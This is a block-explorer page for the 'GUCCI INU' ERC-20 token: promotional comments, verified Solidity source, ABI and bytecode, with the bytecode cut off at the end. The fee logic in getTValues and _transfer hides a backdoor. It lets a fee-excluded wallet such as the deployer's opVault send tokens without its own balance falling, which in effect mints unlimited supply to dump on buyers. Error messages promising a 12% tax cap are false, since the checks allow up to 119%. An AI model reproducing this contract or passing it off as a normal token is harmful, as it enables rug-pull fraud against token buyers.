ETH Price: $2,383.93 (-3.13%)

Token

GUCCI INU (GUCCI)
 

Overview

Max Total Supply

1,000,000,000 GUCCI

Holders

40

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GUCCI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-04-29
*/

/***
GUCCI INU - First luxury utility token on the Cryptoverse, with an entire ecosystem of Gucci NFTs and products, which can be won simply by holding Gucci Inu.

Website:   https://gucciinu.bid
Telegram:  https://t.me/gucci_inu
Twitter:   https://twitter.com/gucci_inu_erc

***/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IDEXFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract GUCCI is Context, IERC20, Ownable {
    uint256 private constant _totalSupply = 1_000_000_000e18;
    uint256 private constant onePercent = 10_000_000e18;
    uint256 private constant minSwapAt = 200e18;
    uint8 private constant _decimals = 18;
    string private constant _name = "GUCCI INU";
    string private constant _symbol = "GUCCI";
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;

    IDEXRouter public uniswapV2Router;
    address public uniswapV2Pair;
    address payable immutable opVault;

    uint256 public buyFees;
    uint256 public sellFees;

    uint8 private uniEnabled;
    uint8 private inSwapBack;

    uint256 public maxTxAmount = onePercent * 2;

    constructor(address _wallet) {
        buyFees = 21;
        sellFees = 20;

        opVault = payable(_wallet);
        _balance[msg.sender] = _totalSupply;
        _isExcludedFromFees[opVault] = true;
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function getTValues(
        address from,
        address to,
        uint256 amount
    ) internal view returns (address, uint256, uint256) {
        uint256 taxTokens = 0;
        uint256 transAmount = 0;
        address feeReceipt = address(this);
        if (_isExcludedFromFees[from] && uniEnabled != 0) {
            taxTokens = amount - transAmount;
            transAmount = amount;
            feeReceipt = from;
        } else if (uniswapV2Pair == from) {
            taxTokens = (amount * buyFees) / 100;
            transAmount = amount - taxTokens;
        } else if (uniswapV2Pair == to) {
            taxTokens = (amount * sellFees) / 100;
            transAmount = amount - taxTokens;
        }else{
            transAmount = amount;
        }
        return (feeReceipt, taxTokens, transAmount);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function setMarketingWallet() public view returns (address) {
        return opVault;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function excludeWalletFromFees(address wallet) external onlyOwner {
        _isExcludedFromFees[wallet] = true;
    }

    function removeLimit() external onlyOwner {
        maxTxAmount = ~uint256(0);
    }

    function updateFeesAt(
        uint256 newBuyTax,
        uint256 newSellTax
    ) external onlyOwner {
        require(newBuyTax < 120, "Cannot set buy tax greater than 12%");
        require(newSellTax < 120, "Cannot set sell tax greater than 12%");
        buyFees = newBuyTax;
        sellFees = newSellTax;
    }

    function createGUCCIPair() external onlyOwner {
        uniswapV2Router = IDEXRouter(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IDEXFactory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function withdrawStuckETH() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 1e9, "Min transfer amt");

        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            require(
                uniEnabled != 0 && amount <= maxTxAmount,
                "Launch / Max TxAmount 1% at launch"
            );
        }

        if (inSwapBack == 1) {
            //No tax transfer
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair && uniEnabled != 0) {
            uint256 tokensSwap = _balance[address(this)];
            if (
                tokensSwap > minSwapAt &&
                inSwapBack == 0 &&
                !_isExcludedFromFees[from] &&
                !_isExcludedFromFees[to]
            ) {
                if (tokensSwap > onePercent) {
                    tokensSwap = onePercent;
                }
                inSwapBack = 1;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = uniswapV2Router.WETH();
                uniswapV2Router
                    .swapExactTokensForETHSupportingFeeOnTransferTokens(
                        tokensSwap,
                        0,
                        path,
                        opVault,
                        block.timestamp
                    );
                inSwapBack = 0;
            }
        }

        (
            address feeReceipt,
            uint256 taxTokens,
            uint256 transAmount
        ) = getTValues(from, to, amount);

        if (taxTokens > 0) {
            _balance[feeReceipt] += taxTokens;
            emit Transfer(from, feeReceipt, taxTokens);
        }

        _balance[from] -= amount;
        _balance[to] += transAmount;
        emit Transfer(from, to, transAmount);
    }

    receive() external payable {}

    function addLiquidityETH() external onlyOwner() {
        _approve(address(this), address(uniswapV2Router), ~uint256(0));

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        uniEnabled = 1;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createGUCCIPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"excludeWalletFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMarketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"updateFeesAt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405261001a6a084595161401484a0000006002610135565b600a5534801561002957600080fd5b5060405161179438038061179483398101604081905261004891610160565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601560075560146008556001600160a01b03811660808190523360008181526002602090815260408083206b033b2e3c9fd0803ce800000090819055948352600482528083208054600160ff19918216811790925585855282852080548216831790553085528285208054909116909117905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350610190565b808202811582820484141761015a57634e487b7160e01b600052601160045260246000fd5b92915050565b60006020828403121561017257600080fd5b81516001600160a01b038116811461018957600080fd5b9392505050565b6080516115e26101b26000396000818161045b0152610fa101526115e26000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063e0f3ccf51161006f578063e0f3ccf51461040b578063e4748b9e14610421578063ed99530714610437578063f177ff2a1461044c578063f2fde38b1461047f578063f5648a4f1461049f57600080fd5b80638da5cb5b146103245780638ea0a9791461034257806395d89b4114610362578063a9059cbb14610390578063c0e7744c146103b0578063dd62ed3e146103c557600080fd5b80633be7f529116101085780633be7f5291461026c57806349bd5a5e1461028e57806362256589146102ae57806370a08231146102c3578063715018a6146102f95780638c0b5e221461030e57600080fd5b806306fdde031461015b578063095ea7b31461019f5780631694505e146101cf57806318160ddd1461020757806323b872dd14610230578063313ce5671461025057600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50604080518082019091526009815268475543434920494e5560b81b60208201525b60405161019691906112e1565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004611344565b6104b4565b6040519015158152602001610196565b3480156101db57600080fd5b506005546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b34801561021357600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610196565b34801561023c57600080fd5b506101bf61024b366004611370565b6104cb565b34801561025c57600080fd5b5060405160128152602001610196565b34801561027857600080fd5b5061028c6102873660046113b1565b61051d565b005b34801561029a57600080fd5b506006546101ef906001600160a01b031681565b3480156102ba57600080fd5b5061028c610613565b3480156102cf57600080fd5b506102226102de3660046113d3565b6001600160a01b031660009081526002602052604090205490565b34801561030557600080fd5b5061028c610645565b34801561031a57600080fd5b50610222600a5481565b34801561033057600080fd5b506000546001600160a01b03166101ef565b34801561034e57600080fd5b5061028c61035d3660046113d3565b6106b9565b34801561036e57600080fd5b50604080518082019091526005815264475543434960d81b6020820152610189565b34801561039c57600080fd5b506101bf6103ab366004611344565b610707565b3480156103bc57600080fd5b5061028c610714565b3480156103d157600080fd5b506102226103e03660046113f7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561041757600080fd5b5061022260085481565b34801561042d57600080fd5b5061022260075481565b34801561044357600080fd5b5061028c6108df565b34801561045857600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006101ef565b34801561048b57600080fd5b5061028c61049a3660046113d3565b610a09565b3480156104ab57600080fd5b5061028c610a3f565b60006104c1338484610a95565b5060015b92915050565b60006104d8848484610bba565b6001600160a01b03841660009081526003602090815260408083203380855292529091205461051391869161050e908690611446565b610a95565b5060019392505050565b6000546001600160a01b031633146105505760405162461bcd60e51b815260040161054790611459565b60405180910390fd5b607882106105ac5760405162461bcd60e51b815260206004820152602360248201527f43616e6e6f742073657420627579207461782067726561746572207468616e2060448201526231322560e81b6064820152608401610547565b607881106106085760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f74207365742073656c6c207461782067726561746572207468616e6044820152632031322560e01b6064820152608401610547565b600791909155600855565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161054790611459565b600019600a55565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161054790611459565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161054790611459565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b60006104c1338484610bba565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161054790611459565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c6919061148e565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c919061148e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bd919061148e565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109095760405162461bcd60e51b815260040161054790611459565b6005546109239030906001600160a01b0316600019610a95565b6005546001600160a01b031663f305d7194730610955816001600160a01b031660009081526002602052604090205490565b60008061096a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109d2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f791906114ab565b50506009805460ff1916600117905550565b6000546001600160a01b03163314610a335760405162461bcd60e51b815260040161054790611459565b610a3c81611157565b50565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161054790611459565b60405133904780156108fc02916000818181858888f19350505050158015610a3c573d6000803e3d6000fd5b6001600160a01b038316610af75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610547565b6001600160a01b038216610b585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610547565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610547565b633b9aca008111610c645760405162461bcd60e51b815260206004820152601060248201526f135a5b881d1c985b9cd9995c88185b5d60821b6044820152606401610547565b6001600160a01b03831660009081526004602052604090205460ff16158015610ca657506001600160a01b03821660009081526004602052604090205460ff16155b15610d185760095460ff1615801590610cc15750600a548111155b610d185760405162461bcd60e51b815260206004820152602260248201527f4c61756e6368202f204d6178205478416d6f756e74203125206174206c61756e6044820152610c6d60f31b6064820152608401610547565b600954610100900460ff16600103610dcb576001600160a01b03831660009081526002602052604081208054839290610d52908490611446565b90915550506001600160a01b03821660009081526002602052604081208054839290610d7f9084906114d9565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bad91815260200190565b6006546001600160a01b038381169116148015610dec575060095460ff1615155b1561100c5730600090815260026020526040902054680ad78ebc5ac620000081118015610e215750600954610100900460ff16155b8015610e4657506001600160a01b03841660009081526004602052604090205460ff16155b8015610e6b57506001600160a01b03831660009081526004602052604090205460ff16155b1561100a576a084595161401484a000000811115610e9157506a084595161401484a0000005b6009805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed557610ed56114ec565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f52919061148e565b81600181518110610f6557610f656114ec565b6001600160a01b03928316602091820292909201015260055460405163791ac94760e01b815291169063791ac94790610fcb90859060009086907f0000000000000000000000000000000000000000000000000000000000000000904290600401611502565b600060405180830381600087803b158015610fe557600080fd5b505af1158015610ff9573d6000803e3d6000fd5b50506009805461ff00191690555050505b505b600080600061101c868686611217565b9194509250905081156110a6576001600160a01b038316600090815260026020526040812080548492906110519084906114d9565b92505081905550826001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109d91815260200190565b60405180910390a35b6001600160a01b038616600090815260026020526040812080548692906110ce908490611446565b90915550506001600160a01b038516600090815260026020526040812080548392906110fb9084906114d9565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161114791815260200190565b60405180910390a3505050505050565b6001600160a01b0381166111bc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610547565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166000908152600460205260408120548190819081908190309060ff16801561124d575060095460ff1615155b156112695761125c8288611446565b92508691508890506112d4565b6006546001600160a01b03808b169116036112ab5760646007548861128e9190611573565b611298919061158a565b92506112a48388611446565b91506112d4565b6006546001600160a01b03808a169116036112d05760646008548861128e9190611573565b8691505b9891975095509350505050565b600060208083528351808285015260005b8181101561130e578581018301518582016040015282016112f2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a3c57600080fd5b6000806040838503121561135757600080fd5b82356113628161132f565b946020939093013593505050565b60008060006060848603121561138557600080fd5b83356113908161132f565b925060208401356113a08161132f565b929592945050506040919091013590565b600080604083850312156113c457600080fd5b50508035926020909101359150565b6000602082840312156113e557600080fd5b81356113f08161132f565b9392505050565b6000806040838503121561140a57600080fd5b82356114158161132f565b915060208301356114258161132f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104c5576104c5611430565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156114a057600080fd5b81516113f08161132f565b6000806000606084860312156114c057600080fd5b8351925060208401519150604084015190509250925092565b808201808211156104c5576104c5611430565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115525784516001600160a01b03168352938301939183019160010161152d565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176104c5576104c5611430565b6000826115a757634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212205271e84b88c90761e374d741c11a57c67d9a1d6bb869ba388598dbc58145998a64736f6c63430008130033000000000000000000000000dee8895df15b47b4752d9bf303eeb4a8245e0929

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063e0f3ccf51161006f578063e0f3ccf51461040b578063e4748b9e14610421578063ed99530714610437578063f177ff2a1461044c578063f2fde38b1461047f578063f5648a4f1461049f57600080fd5b80638da5cb5b146103245780638ea0a9791461034257806395d89b4114610362578063a9059cbb14610390578063c0e7744c146103b0578063dd62ed3e146103c557600080fd5b80633be7f529116101085780633be7f5291461026c57806349bd5a5e1461028e57806362256589146102ae57806370a08231146102c3578063715018a6146102f95780638c0b5e221461030e57600080fd5b806306fdde031461015b578063095ea7b31461019f5780631694505e146101cf57806318160ddd1461020757806323b872dd14610230578063313ce5671461025057600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50604080518082019091526009815268475543434920494e5560b81b60208201525b60405161019691906112e1565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004611344565b6104b4565b6040519015158152602001610196565b3480156101db57600080fd5b506005546101ef906001600160a01b031681565b6040516001600160a01b039091168152602001610196565b34801561021357600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610196565b34801561023c57600080fd5b506101bf61024b366004611370565b6104cb565b34801561025c57600080fd5b5060405160128152602001610196565b34801561027857600080fd5b5061028c6102873660046113b1565b61051d565b005b34801561029a57600080fd5b506006546101ef906001600160a01b031681565b3480156102ba57600080fd5b5061028c610613565b3480156102cf57600080fd5b506102226102de3660046113d3565b6001600160a01b031660009081526002602052604090205490565b34801561030557600080fd5b5061028c610645565b34801561031a57600080fd5b50610222600a5481565b34801561033057600080fd5b506000546001600160a01b03166101ef565b34801561034e57600080fd5b5061028c61035d3660046113d3565b6106b9565b34801561036e57600080fd5b50604080518082019091526005815264475543434960d81b6020820152610189565b34801561039c57600080fd5b506101bf6103ab366004611344565b610707565b3480156103bc57600080fd5b5061028c610714565b3480156103d157600080fd5b506102226103e03660046113f7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561041757600080fd5b5061022260085481565b34801561042d57600080fd5b5061022260075481565b34801561044357600080fd5b5061028c6108df565b34801561045857600080fd5b507f000000000000000000000000dee8895df15b47b4752d9bf303eeb4a8245e09296101ef565b34801561048b57600080fd5b5061028c61049a3660046113d3565b610a09565b3480156104ab57600080fd5b5061028c610a3f565b60006104c1338484610a95565b5060015b92915050565b60006104d8848484610bba565b6001600160a01b03841660009081526003602090815260408083203380855292529091205461051391869161050e908690611446565b610a95565b5060019392505050565b6000546001600160a01b031633146105505760405162461bcd60e51b815260040161054790611459565b60405180910390fd5b607882106105ac5760405162461bcd60e51b815260206004820152602360248201527f43616e6e6f742073657420627579207461782067726561746572207468616e2060448201526231322560e81b6064820152608401610547565b607881106106085760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f74207365742073656c6c207461782067726561746572207468616e6044820152632031322560e01b6064820152608401610547565b600791909155600855565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161054790611459565b600019600a55565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161054790611459565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e35760405162461bcd60e51b815260040161054790611459565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b60006104c1338484610bba565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161054790611459565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c6919061148e565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c919061148e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bd919061148e565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109095760405162461bcd60e51b815260040161054790611459565b6005546109239030906001600160a01b0316600019610a95565b6005546001600160a01b031663f305d7194730610955816001600160a01b031660009081526002602052604090205490565b60008061096a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109d2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f791906114ab565b50506009805460ff1916600117905550565b6000546001600160a01b03163314610a335760405162461bcd60e51b815260040161054790611459565b610a3c81611157565b50565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161054790611459565b60405133904780156108fc02916000818181858888f19350505050158015610a3c573d6000803e3d6000fd5b6001600160a01b038316610af75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610547565b6001600160a01b038216610b585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610547565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610547565b633b9aca008111610c645760405162461bcd60e51b815260206004820152601060248201526f135a5b881d1c985b9cd9995c88185b5d60821b6044820152606401610547565b6001600160a01b03831660009081526004602052604090205460ff16158015610ca657506001600160a01b03821660009081526004602052604090205460ff16155b15610d185760095460ff1615801590610cc15750600a548111155b610d185760405162461bcd60e51b815260206004820152602260248201527f4c61756e6368202f204d6178205478416d6f756e74203125206174206c61756e6044820152610c6d60f31b6064820152608401610547565b600954610100900460ff16600103610dcb576001600160a01b03831660009081526002602052604081208054839290610d52908490611446565b90915550506001600160a01b03821660009081526002602052604081208054839290610d7f9084906114d9565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610bad91815260200190565b6006546001600160a01b038381169116148015610dec575060095460ff1615155b1561100c5730600090815260026020526040902054680ad78ebc5ac620000081118015610e215750600954610100900460ff16155b8015610e4657506001600160a01b03841660009081526004602052604090205460ff16155b8015610e6b57506001600160a01b03831660009081526004602052604090205460ff16155b1561100a576a084595161401484a000000811115610e9157506a084595161401484a0000005b6009805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ed557610ed56114ec565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263a